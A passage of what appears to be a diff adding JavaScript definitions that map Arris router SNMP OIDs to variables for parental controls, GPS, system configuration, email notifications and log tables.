arKeywordClear=FWParentalControls.KeywordClear; +var arBlackListCount=FWParentalControls.BlackListCount; +var arBlackListClear=FWParentalControls.BlackListClear; +var arWhiteListCount=FWParentalControls.WhiteListCount; +var arWhiteListClear=FWParentalControls.WhiteListClear; +var arTrustedDeviceCount=FWParentalControls.TrustedDeviceCount; +var arTrustedDeviceClear=FWParentalControls.TrustedDeviceClear; +var arKeywordTableFreeIdx=FWParentalControls.KeywordTableFreeIdx; +var arBlackListFreeIdx=FWParentalControls.BlackListFreeIdx; +var arWhiteListFreeIdx=FWParentalControls.WhiteListFreeIdx; +var arTrustedDeviceFreeIdx=FWParentalControls.TrustedDeviceFreeIdx; +var arEnableParentalCont=FWParentalControls.EnableParentalCont; +var arManagedSitesEnabled=FWParentalControls.ManagedSitesEnabled; +var arManagedServicesEnabled=FWParentalControls.ManagedServicesEnabled; +var arManagedDevicesEnabled=FWParentalControls.ManagedDevicesEnabled; + +var KeywordBlkTable = new Table("KeywordBlkTable", "1.3.6.1.4.1.4115.1.20.1.1.4.20.10"); +KeywordBlkTable.KeywordBlkIndex = new Column("KeywordBlkIndex","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.1",2); +KeywordBlkTable.KeywordBlkWord = new Column("KeywordBlkWord","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.2",4); +KeywordBlkTable.KeywordBlkTOD = new Column("KeywordBlkTOD","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.3",2); +KeywordBlkTable.KeywordBlkStatus = new Column("KeywordBlkStatus","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.4",2); +KeywordBlkTable.KeywordBlkStartMin = new Column("KeywordBlkStartMin","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.5",2); +KeywordBlkTable.KeywordBlkEndMin = new Column("KeywordBlkEndMin","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.6",2); +var arKeywordBlkIndex=KeywordBlkTable.KeywordBlkIndex; +var arKeywordBlkWord=KeywordBlkTable.KeywordBlkWord; +var arKeywordBlkTOD=KeywordBlkTable.KeywordBlkTOD; +var arKeywordBlkStatus=KeywordBlkTable.KeywordBlkStatus; +var arKeywordBlkStartMin=KeywordBlkTable.KeywordBlkStartMin; +var arKeywordBlkEndMin=KeywordBlkTable.KeywordBlkEndMin; + +var BlackListTable = new Table("BlackListTable", "1.3.6.1.4.1.4115.1.20.1.1.4.20.12"); +BlackListTable.BlackListIndex = new Column("BlackListIndex","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.1",2); +BlackListTable.BlackListDomain = new Column("BlackListDomain","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.2",4); +BlackListTable.BlackListTOD = new Column("BlackListTOD","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.3",2); +BlackListTable.BlackListStatus = new Column("BlackListStatus","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.4",2); +BlackListTable.BlackListStartMin = new Column("BlackListStartMin","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.5",2); +BlackListTable.BlackListEndMin = new Column("BlackListEndMin","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.6",2); +var arBlackListIndex=BlackListTable.BlackListIndex; +var arBlackListDomain=BlackListTable.BlackListDomain; +var arBlackListTOD=BlackListTable.BlackListTOD; +var arBlackListStatus=BlackListTable.BlackListStatus; +var arBlackListStartMin=BlackListTable.BlackListStartMin; +var arBlackListEndMin=BlackListTable.BlackListEndMin; + +var WhiteListTable = new Table("WhiteListTable", "1.3.6.1.4.1.4115.1.20.1.1.4.20.14"); +WhiteListTable.WhiteListIndex = new Column("WhiteListIndex","1.3.6.1.4.1.4115.1.20.1.1.4.20.14.1.1",2); +WhiteListTable.WhiteListDomain = new Column("WhiteListDomain","1.3.6.1.4.1.4115.1.20.1.1.4.20.14.1.2",4); +WhiteListTable.WhiteListTOD = new Column("WhiteListTOD","1.3.6.1.4.1.4115.1.20.1.1.4.20.14.1.3",2); +WhiteListTable.WhiteListStatus = new Column("WhiteListStatus","1.3.6.1.4.1.4115.1.20.1.1.4.20.14.1.4",2); +var arWhiteListIndex=WhiteListTable.WhiteListIndex; +var arWhiteListDomain=WhiteListTable.WhiteListDomain; +var arWhiteListTOD=WhiteListTable.WhiteListTOD; +var arWhiteListStatus=WhiteListTable.WhiteListStatus; + +var TrustedDeviceTable = new Table("TrustedDeviceTable", "1.3.6.1.4.1.4115.1.20.1.1.4.20.16"); +TrustedDeviceTable.TrustedDeviceIndex = new Column("TrustedDeviceIndex","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.1",2); +TrustedDeviceTable.TrustedDeviceMAC = new Column("TrustedDeviceMAC","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.2",4, 1); +TrustedDeviceTable.TrustedDeviceStatus = new Column("TrustedDeviceStatus","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.3",2); +TrustedDeviceTable.TrustedDeviceName = new Column("TrustedDeviceName","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.4",4); +TrustedDeviceTable.TrustedDeviceAddrType = new Column("TrustedDeviceAddrType","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.5",2); +TrustedDeviceTable.TrustedDeviceAddr = new Column("TrustedDeviceAddr","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.6",4, 1); +var arTrustedDeviceIndex=TrustedDeviceTable.TrustedDeviceIndex; +var arTrustedDeviceMAC=TrustedDeviceTable.TrustedDeviceMAC; +var arTrustedDeviceStatus=TrustedDeviceTable.TrustedDeviceStatus; +var arTrustedDeviceName=TrustedDeviceTable.TrustedDeviceName; +var arTrustedDeviceAddrType=TrustedDeviceTable.TrustedDeviceAddrType; +var arTrustedDeviceAddr=TrustedDeviceTable.TrustedDeviceAddr; + +var TrustedDeviceManagedServicesTable = new Table("TrustedDeviceManagedServicesTable", "1.3.6.1.4.1.4115.1.20.1.1.4.20.21"); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesIndex = new Column("TrustedDeviceManagedServicesIndex","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.1",2); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesMAC = new Column("TrustedDeviceManagedServicesMAC","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.2",4, 1); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesStatus = new Column("TrustedDeviceManagedServicesStatus","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.3",2); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesName = new Column("TrustedDeviceManagedServicesName","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.4",4); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesAddrType = new Column("TrustedDeviceManagedServicesAddrType","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.5",2); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesAddr = new Column("TrustedDeviceManagedServicesAddr","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.6",4, 1); +var arTrustedDeviceManagedServicesIndex=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesIndex; +var arTrustedDeviceManagedServicesMAC=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesMAC; +var arTrustedDeviceManagedServicesStatus=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesStatus; +var arTrustedDeviceManagedServicesName=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesName; +var arTrustedDeviceManagedServicesAddrType=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesAddrType; +var arTrustedDeviceManagedServicesAddr=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesAddr; + +// OG1600 GPS support +var GpsCfg = new Container("GpsCfg", "1.3.6.1.4.1.4115.12"); +GpsCfg.GpsScanOnBoot= new Scalar("GpsScanOnBoot","1.3.6.1.4.1.4115.12.1",2); +GpsCfg.GpsScanPeriodically= new Scalar("GpsScanPeriodically","1.3.6.1.4.1.4115.12.2",2); +GpsCfg.GpsPeriodicInterval= new Scalar("GpsPeriodicInterval","1.3.6.1.4.1.4115.12.3",66); +GpsCfg.GpsPeriodicTime= new Scalar("GpsPeriodicTime","1.3.6.1.4.1.4115.12.4",4); +GpsCfg.GpsPowerDownAfterSuccessfulScan= new Scalar("GpsPowerDownAfterSuccessfulScan","1.3.6.1.4.1.4115.12.5",2); +GpsCfg.GpsScanTimeout= new Scalar("GpsScanTimeout","1.3.6.1.4.1.4115.12.6",66); +GpsCfg.GpsScanStatus= new Scalar("GpsScanStatus","1.3.6.1.4.1.4115.12.7",66); +GpsCfg.GpsErrorDetails= new Scalar("GpsErrorDetails","1.3.6.1.4.1.4115.12.8",4); +GpsCfg.GpsLastScanTime= new Scalar("GpsLastScanTime","1.3.6.1.4.1.4115.12.9",4); +GpsCfg.GpsLastSuccessfulScanTime= new Scalar("GpsLastSuccessfulScanTime","1.3.6.1.4.1.4115.12.10",4); +GpsCfg.GpsLockedLatitude= new Scalar("GpsLockedLatitude","1.3.6.1.4.1.4115.12.11",4); +GpsCfg.GpsLockedLongitude= new Scalar("GpsLockedLongitude","1.3.6.1.4.1.4115.12.12",4); +GpsCfg.GpsNumberOfSatellites= new Scalar("GpsNumberOfSatellites","1.3.6.1.4.1.4115.12.13",66); +GpsCfg.GpsReset= new Scalar("GpsReset","1.3.6.1.4.1.4115.12.14",2); +GpsCfg.GpsSuccessfulScanSinceBootup= new Scalar("GpsSuccessfulScanSinceBootup","1.3.6.1.4.1.4115.12.15",2); + +var arGpsScanOnBoot=GpsCfg.GpsScanOnBoot; +var arGpsScanPeriodically=GpsCfg.GpsScanPeriodically; +var arGpsPeriodicInterval=GpsCfg.GpsPeriodicInterval; +var arGpsPeriodicTime=GpsCfg.GpsPeriodicTime; +var arGpsPowerDownAfterSuccessfulScan=GpsCfg.GpsPowerDownAfterSuccessfulScan; +var arGpsScanTimeout=GpsCfg.GpsScanTimeout; +var arGpsScanStatus=GpsCfg.GpsScanStatus; +var arGpsErrorDetails=GpsCfg.GpsErrorDetails; +var arGpsLastScanTime=GpsCfg.GpsLastScanTime; +var arGpsLastSuccessfulScanTime=GpsCfg.GpsLastSuccessfulScanTime; +var arGpsLockedLatitude=GpsCfg.GpsLockedLatitude; +var arGpsLockedLongitude=GpsCfg.GpsLockedLongitude; +var arGpsNumberOfSatellites=GpsCfg.GpsNumberOfSatellites; +var arGpsReset=GpsCfg.GpsReset; +var arGpsSuccessfulScanSinceBootup=GpsCfg.GpsSuccessfulScanSinceBootup; + +var SysCfg = new Container("SysCfg", "1.3.6.1.4.1.4115.1.20.1.1.5"); +SysCfg.AdminPassword= new Scalar("AdminPassword","1.3.6.1.4.1.4115.1.20.1.1.5.1",4); +SysCfg.AdminTimeout= new Scalar("AdminTimeout","1.3.6.1.4.1.4115.1.20.1.1.5.2",66); +SysCfg.TimeZoneUTCOffset= new Scalar("TimeZoneUTCOffset","1.3.6.1.4.1.4115.1.20.1.1.5.3",2); +SysCfg.Reboot= new Scalar("Reboot","1.3.6.1.4.1.4115.1.20.1.1.5.4",2); +SysCfg.Defaults= new Scalar("Defaults","1.3.6.1.4.1.4115.1.20.1.1.5.5",2); +SysCfg.Language= new Scalar("Language","1.3.6.1.4.1.4115.1.20.1.1.5.6",4); +SysCfg.Name= new Scalar("Name","1.3.6.1.4.1.4115.1.20.1.1.5.7",4); +SysCfg.SerialNumber= new Scalar("SerialNumber","1.3.6.1.4.1.4115.1.20.1.1.5.8",4); +SysCfg.BootCodeVersion= new Scalar("BootCodeVersion","1.3.6.1.4.1.4115.1.20.1.1.5.9",4); +SysCfg.HardwareVersion= new Scalar("HardwareVersion","1.3.6.1.4.1.4115.1.20.1.1.5.10",4); +SysCfg.FirmwareVersion= new Scalar("FirmwareVersion","1.3.6.1.4.1.4115.1.20.1.1.5.11",4); +SysCfg.LogLevel= new Scalar("LogLevel","1.3.6.1.4.1.4115.1.20.1.1.5.12",2); +SysCfg.CustomSettings= new Scalar("CustomSettings","1.3.6.1.4.1.4115.1.20.1.1.5.13",4,1); +SysCfg.CustomID= new Scalar("CustomID","1.3.6.1.4.1.4115.1.20.1.1.5.14",2); +SysCfg.CurrentTime= new Scalar("CurrentTime","1.3.6.1.4.1.4115.1.20.1.1.5.15",4,1); +SysCfg.TACACSAddr= new Scalar("TACACSAddr","1.3.6.1.4.1.4115.1.20.1.1.5.20",4,1); +SysCfg.TACACSPort= new Scalar("TACACSPort","1.3.6.1.4.1.4115.1.20.1.1.5.21",2); +SysCfg.TACACSSecretKey= new Scalar("TACACSSecretKey","1.3.6.1.4.1.4115.1.20.1.1.5.22",4,1); +SysCfg.XmlProvisioningFile= new Scalar("XmlProvisioningFile","1.3.6.1.4.1.4115.1.20.1.1.5.23",4); +SysCfg.XmlProvisioningStatus= new Scalar("XmlProvisioningStatus","1.3.6.1.4.1.4115.1.20.1.1.5.24",2); +SysCfg.BlockNonArrisDevices= new Scalar("BlockNonArrisDevices","1.3.6.1.4.1.4115.1.20.1.1.5.26",2); +SysCfg.DHCPLogLevel= new Scalar("DHCPLogLevel","1.3.6.1.4.1.4115.1.20.1.1.5.27",2); +SysCfg.TechnicianName= new Scalar("TechnicianName","1.3.6.1.4.1.4115.1.20.1.1.5.28",4); +SysCfg.EnableLanEtherPrivateWanBlock= new Scalar("EnableLanEtherPrivateWanBlock","1.3.6.1.4.1.4115.1.20.1.1.5.29",2); +SysCfg.TACACSIPAddrType= new Scalar("TACACSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.5.30",2); +SysCfg.TACACSIPAddr= new Scalar("TACACSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.5.31",4,1); +SysCfg.EnabledInterfaces= new Scalar("EnabledInterfaces","1.3.6.1.4.1.4115.1.20.1.1.5.32",2); +SysCfg.EnabledInterfacesString= new Scalar("EnabledInterfacesString","1.3.6.1.4.1.4115.1.20.1.1.5.33",4); +SysCfg.InboundTrafficLogEnable= new Scalar("InboundTrafficLogEnable","1.3.6.1.4.1.4115.1.20.1.1.5.34",2); +SysCfg.NATPBypassEnable= new Scalar("NATPBypassEnable","1.3.6.1.4.1.4115.1.20.1.1.5.35",2); +SysCfg.NATDebug= new Scalar("NATDebug","1.3.6.1.4.1.4115.1.20.1.1.5.36",2); +SysCfg.DisableResetButton= new Scalar("DisableResetButton","1.3.6.1.4.1.4115.1.20.1.1.5.37",2); +SysCfg.DHCPOption43Sub2= new Scalar("DHCPOption43Sub2","1.3.6.1.4.1.4115.1.20.1.1.5.38",4,1); +SysCfg.DHCPOption43Sub3= new Scalar("DHCPOption43Sub3","1.3.6.1.4.1.4115.1.20.1.1.5.39",4,1); +SysCfg.ESTBDHCPOption43Sub2= new Scalar("ESTBDHCPOption43Sub2","1.3.6.1.4.1.4115.1.20.1.1.5.40",4,1); +SysCfg.ESTBDHCPOption43Sub3= new Scalar("ESTBDHCPOption43Sub3","1.3.6.1.4.1.4115.1.20.1.1.5.41",4,1); +SysCfg.ClientTrackingEnable= new Scalar("ClientTrackingEnable","1.3.6.1.4.1.4115.1.20.1.1.5.43",2); +SysCfg.SystemFlags= new Scalar("SystemFlags","1.3.6.1.4.1.4115.1.20.1.1.5.44",2); +SysCfg.CpuSpeed= new Scalar("CpuSpeed","1.3.6.1.4.1.4115.1.20.1.1.5.64",2); +SysCfg.FlashSize= new Scalar("FlashSize","1.3.6.1.4.1.4115.1.20.1.1.5.52",2); +SysCfg.RamSize= new Scalar("RamSize","1.3.6.1.4.1.4115.1.20.1.1.5.53",2); +SysCfg.SaveCurrentConfigFile= new Scalar("SaveCurrentConfigFile","1.3.6.1.4.1.4115.1.20.1.1.5.57",2); +SysCfg.RestoreCurrentConfigFile= new Scalar("RestoreCurrentConfigFile","1.3.6.1.4.1.4115.1.20.1.1.5.58",2); +SysCfg.FlashAvailSize= new Scalar("FlashAvailSize","1.3.6.1.4.1.4115.1.20.1.1.5.60",2); +SysCfg.RamAvailSize= new Scalar("RamAvailSize","1.3.6.1.4.1.4115.1.20.1.1.5.61",2); +var arAdminPassword=SysCfg.AdminPassword; +var arAdminTimeout=SysCfg.AdminTimeout; +var arTimeZoneUTCOffset=SysCfg.TimeZoneUTCOffset; +var arReboot=SysCfg.Reboot; +var arDefaults=SysCfg.Defaults; +var arLanguage=SysCfg.Language; +var arName=SysCfg.Name; +var arSerialNumber=SysCfg.SerialNumber; +var arBootCodeVersion=SysCfg.BootCodeVersion; +var arHardwareVersion=SysCfg.HardwareVersion; +var arFirmwareVersion=SysCfg.FirmwareVersion; +var arLogLevel=SysCfg.LogLevel; +var arCustomSettings=SysCfg.CustomSettings; +var arCustomID=SysCfg.CustomID; +var arCurrentTime=SysCfg.CurrentTime; +var arTACACSAddr=SysCfg.TACACSAddr; +var arTACACSPort=SysCfg.TACACSPort; +var arTACACSSecretKey=SysCfg.TACACSSecretKey; +var arXmlProvisioningFile=SysCfg.XmlProvisioningFile; +var arXmlProvisioningStatus=SysCfg.XmlProvisioningStatus; +var arBlockNonArrisDevices=SysCfg.BlockNonArrisDevices; +var arDHCPLogLevel=SysCfg.DHCPLogLevel; +var arTechnicianName=SysCfg.TechnicianName; +var arEnableLanEtherPrivateWanBlock=SysCfg.EnableLanEtherPrivateWanBlock; +var arTACACSIPAddrType=SysCfg.TACACSIPAddrType; +var arTACACSIPAddr=SysCfg.TACACSIPAddr; +var arEnabledInterfaces=SysCfg.EnabledInterfaces; +var arEnabledInterfacesString=SysCfg.EnabledInterfacesString; +var arInboundTrafficLogEnable=SysCfg.InboundTrafficLogEnable; +var arNATPBypassEnable=SysCfg.NATPBypassEnable; +var arNATDebug=SysCfg.NATDebug; +var arDisableResetButton=SysCfg.DisableResetButton; +var arDHCPOption43Sub2=SysCfg.DHCPOption43Sub2; +var arDHCPOption43Sub3=SysCfg.DHCPOption43Sub3; +var arESTBDHCPOption43Sub2=SysCfg.ESTBDHCPOption43Sub2; +var arESTBDHCPOption43Sub3=SysCfg.ESTBDHCPOption43Sub3; +var arClientTrackingEnable=SysCfg.ClientTrackingEnable; +var arSystemFlags=SysCfg.SystemFlags; +var arCpuSpeed=SysCfg.CpuSpeed; +var arFlashSize=SysCfg.FlashSize; +var arRamSize=SysCfg.RamSize; +var arSaveCurrentConfigFile=SysCfg.SaveCurrentConfigFile; +var arRestoreCurrentConfigFile=SysCfg.RestoreCurrentConfigFile; +var arFlashAvailSize=SysCfg.FlashAvailSize; +var arRamAvailSize=SysCfg.RamAvailSize; + +var AuthTable = new Table("AuthTable", "1.3.6.1.4.1.4115.1.20.1.1.5.16"); +AuthTable.AuthIndex = new Column("AuthIndex","1.3.6.1.4.1.4115.1.20.1.1.5.16.1.1",66); +AuthTable.AuthUserName = new Column("AuthUserName","1.3.6.1.4.1.4115.1.20.1.1.5.16.1.2",4); +AuthTable.AuthPassword = new Column("AuthPassword","1.3.6.1.4.1.4115.1.20.1.1.5.16.1.3",4); +AuthTable.AuthType = new Column("AuthType","1.3.6.1.4.1.4115.1.20.1.1.5.16.1.4",4,1); +var arAuthIndex=AuthTable.AuthIndex; +var arAuthUserName=AuthTable.AuthUserName; +var arAuthPassword=AuthTable.AuthPassword; +var arAuthType=AuthTable.AuthType; + +var SNTPSettings = new Container("SNTPSettings", "1.3.6.1.4.1.4115.1.20.1.1.5.17"); +SNTPSettings.EnableSNTP= new Scalar("EnableSNTP","1.3.6.1.4.1.4115.1.20.1.1.5.17.1",2); +SNTPSettings.ApplySNTPSettings= new Scalar("ApplySNTPSettings","1.3.6.1.4.1.4115.1.20.1.1.5.17.2",2); +SNTPSettings.SNTPTableFreeIdx= new Scalar("SNTPTableFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.5.17.3",2); +var arEnableSNTP=SNTPSettings.EnableSNTP; +var arApplySNTPSettings=SNTPSettings.ApplySNTPSettings; +var arSNTPTableFreeIdx=SNTPSettings.SNTPTableFreeIdx; + +var SNTPServerTable = new Table("SNTPServerTable", "1.3.6.1.4.1.4115.1.20.1.1.5.17.4"); +SNTPServerTable.SNTPServerIndex = new Column("SNTPServerIndex","1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.1",2); +SNTPServerTable.SNTPServerAddrType = new Column("SNTPServerAddrType","1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.2",2); +SNTPServerTable.SNTPServerAddr = new Column("SNTPServerAddr","1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.3",4,1); +SNTPServerTable.SNTPServerName = new Column("SNTPServerName","1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.4",4); +SNTPServerTable.SNTPServerStatus = new Column("SNTPServerStatus","1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.5",2); +var arSNTPServerIndex=SNTPServerTable.SNTPServerIndex; +var arSNTPServerAddrType=SNTPServerTable.SNTPServerAddrType; +var arSNTPServerAddr=SNTPServerTable.SNTPServerAddr; +var arSNTPServerName=SNTPServerTable.SNTPServerName; +var arSNTPServerStatus=SNTPServerTable.SNTPServerStatus; + +var EmailSettings = new Container("EmailSettings", "1.3.6.1.4.1.4115.1.20.1.1.5.18"); +EmailSettings.EmailServerName= new Scalar("EmailServerName","1.3.6.1.4.1.4115.1.20.1.1.5.18.1",4); +EmailSettings.EmailServerUser= new Scalar("EmailServerUser","1.3.6.1.4.1.4115.1.20.1.1.5.18.2",4); +EmailSettings.EmailServerPW= new Scalar("EmailServerPW","1.3.6.1.4.1.4115.1.20.1.1.5.18.3",4); +EmailSettings.EmailAddress= new Scalar("EmailAddress","1.3.6.1.4.1.4115.1.20.1.1.5.18.4",4,1); +EmailSettings.EnableLogEmail= new Scalar("EnableLogEmail","1.3.6.1.4.1.4115.1.20.1.1.5.18.5",2); +EmailSettings.EmailApplySettings= new Scalar("EmailApplySettings","1.3.6.1.4.1.4115.1.20.1.1.5.18.6",2); +// scm x2 lines +EmailSettings.EmailSenderAddress = new Scalar("EmailSenderAddress", "1.3.6.1.4.1.4115.1.20.1.1.5.18.8",4); +var arEmailSenderAddress =EmailSettings.EmailSenderAddress ; + +var arEmailServerName=EmailSettings.EmailServerName; +var arEmailServerUser=EmailSettings.EmailServerUser; +var arEmailServerPW=EmailSettings.EmailServerPW; +var arEmailAddress=EmailSettings.EmailAddress; +var arEnableLogEmail=EmailSettings.EnableLogEmail; +var arEmailApplySettings=EmailSettings.EmailApplySettings; + +// scm new container. +var EmailNotifys = new Container("EmailNotifys", "1.3.6.1.4.1.4115.1.20.1.1.5.18.7"); +EmailNotifys.EmailNotifyTypeFW = new Scalar("EmailNotifyTypeFW", "1.3.6.1.4.1.4115.1.20.1.1.5.18.7.1",2); +EmailNotifys.EmailNotifyTypePC = new Scalar("EmailNotifyTypePC", "1.3.6.1.4.1.4115.1.20.1.1.5.18.7.2",2); +EmailNotifys.EmailNotifyTypeAlert = new Scalar("EmailNotifyTypeAlert", "1.3.6.1.4.1.4115.1.20.1.1.5.18.7.3",2); +EmailNotifys.EmailNotifyTypeWarning = new Scalar("EmailNotifyTypeWarning", "1.3.6.1.4.1.4115.1.20.1.1.5.18.7.4",2); +var arEmailNotifyTypeFW =EmailNotifys.EmailNotifyTypeFW ; +var arEmailNotifyTypePC =EmailNotifys.EmailNotifyTypePC ; +var arEmailNotifyTypeAlert =EmailNotifys.EmailNotifyTypeAlert ; +var arEmailNotifyTypeWarning =EmailNotifys.EmailNotifyTypeWarning ; + + +var LogSettings = new Container("LogSettings", "1.3.6.1.4.1.4115.1.20.1.1.5.19"); +LogSettings.ClearLogs= new Scalar("ClearLogs","1.3.6.1.4.1.4115.1.20.1.1.5.19.3",2); +LogSettings.ChangeLogFilter= new Scalar("ChangeLogFilter","1.3.6.1.4.1.4115.1.20.1.1.5.19.4",2); +var arClearLogs=LogSettings.ClearLogs; +var arChangeLogFilter=LogSettings.ChangeLogFilter; + +var UserLogs = new Container("UserLogs", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1"); + +var FirewallLogTable = new Table("FirewallLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.1"); +FirewallLogTable.FWLogIndex = new Column("FWLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.1.1.1",2); +FirewallLogTable.FWLogTime = new Column("FWLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.1.1.2",4, 1); +FirewallLogTable.FWLogInfo = new Column("FWLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.1.1.3",4); +var arFWLogIndex=FirewallLogTable.FWLogIndex; +var arFWLogTime=FirewallLogTable.FWLogTime; +var arFWLogInfo=FirewallLogTable.FWLogInfo; + +var ParentalContLogTable = new Table("ParentalContLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2"); +ParentalContLogTable.PCLogIndex = new Column("PCLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2.1.1",2); +ParentalContLogTable.PCLogTime = new Column("PCLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2.1.2",4, 1); +ParentalContLogTable.PCLogInfo = new Column("PCLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2.1.3",4); +ParentalContLogTable.PCLogType = new Column("PCLogType","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2.1.4",2); +var arPCLogIndex=ParentalContLogTable.PCLogIndex; +var arPCLogTime=ParentalContLogTable.PCLogTime; +var arPCLogInfo=ParentalContLogTable.PCLogInfo; +var arPCLogType=ParentalContLogTable.PCLogType; + +var ChangeLogTable = new Table("ChangeLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.3"); +ChangeLogTable.ChangeLogIndex = new Column("ChangeLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.3.1.1",2); +ChangeLogTable.ChangeLogTime = new Column("ChangeLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.3.1.2",4,1); +ChangeLogTable.ChangeLogInfo = new Column("ChangeLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.3.1.3",4); +var arChangeLogIndex=ChangeLogTable.ChangeLogIndex; +var arChangeLogTime=ChangeLogTable.ChangeLogTime; +var arChangeLogInfo=ChangeLogTable.ChangeLogInfo; + +var DebugLogTable = new Table("DebugLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.4"); +DebugLogTable.DebugLogIndex = new Column("DebugLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.4.1.1",2); +DebugLogTable.DebugLogTime = new Column("DebugLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.4.1.2",4,1); +DebugLogTable.DebugLogInfo = new Column("DebugLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.4.1.3",4); +var arDebugLogIndex=DebugLogTable.DebugLogIndex; +var arDebugLogTime=DebugLogTable.DebugLogTime; +var arDebugLogInfo=DebugLogTable.DebugLogInfo; + +var DHCPLogTable = new Table("DHCPLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.5"); +DHCPLogTable.DHCPLogIndex = new Column("DHCPLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.5.1.1",2); +DHCPLogTable.DHCPLogTime = new Column("DHCPLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.5.1.2",4,1); +DHCPLogTable.DHCPLogInfo = new Column("DHCPLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.5.1.3",4); +var arDHCPLogIndex=DHCPLogTable.DHCPLogIndex; +var arDHCPLogTime=DHCPLogTable.DHCPLogTime; +var arDHCPLogInfo=DHCPLogTable.DHCPLogInfo; + +var LanClientLogTable = new Table("LanClientLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.6"); +LanClientLogTable.LanClientLogIndex = new Column("LanClientLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.6.1.1",2); +LanClientLogTable.LanClientLogTime = new Column("LanClientLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.6.1.2",4,1); +LanClientLogTable.LanClientLogInfo = new Column("LanClientLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.6.1.3",4); +var arLanClientLogIndex=LanClientLogTable.LanClientLogIndex; +var arLanClientLogTime=LanClientLogTable.LanClientLogTime; +var arLanClientLogInfo=LanClientLogTable.LanClientLogInfo; + +var MSOLogs = new Container("MSOLogs", "1.3.6.1.4.1.4115.1.20.1.1.5.19.2"); +MSOLogs.ClearMSOLogs= new Scalar("ClearMSOLogs","1.3.6.1.4.1.4115.1.20.1.1.5.19.2.2",2); +var arClearMSOLogs=MSOLogs.ClearMSOLogs; + +var MSOChgLogTable = new Table("MSOChgLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.2.1"); +MSOChgLogTable.MSOChgLogIndex = new Column("MSOChgLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.2.1.1.1",2); +MSOChgLogTable.MSOChgLogTime = new Column("MSOChgLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.2.1.1.2",4,1); +MSOChgLogTable.MSOChgLogInfo = new Column("MSOChgLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.2.1.1.3",4); +var arMSOChgLogIndex=MSOChgLogTable.MSOChgLogIndex; +var arMSOChgLogTime=MSOChgLogTable.MSOChgLogTime; +var arMSOChgLogInfo=MSOChgLogTable.MSOChgLogInfo; + +var InboundTrafficLogTable = new Table("InboundTrafficLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.42"); +InboundTrafficLogTable.InboundTrafficLogIndex = new Column("InboundTrafficLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.42.1.1",66); 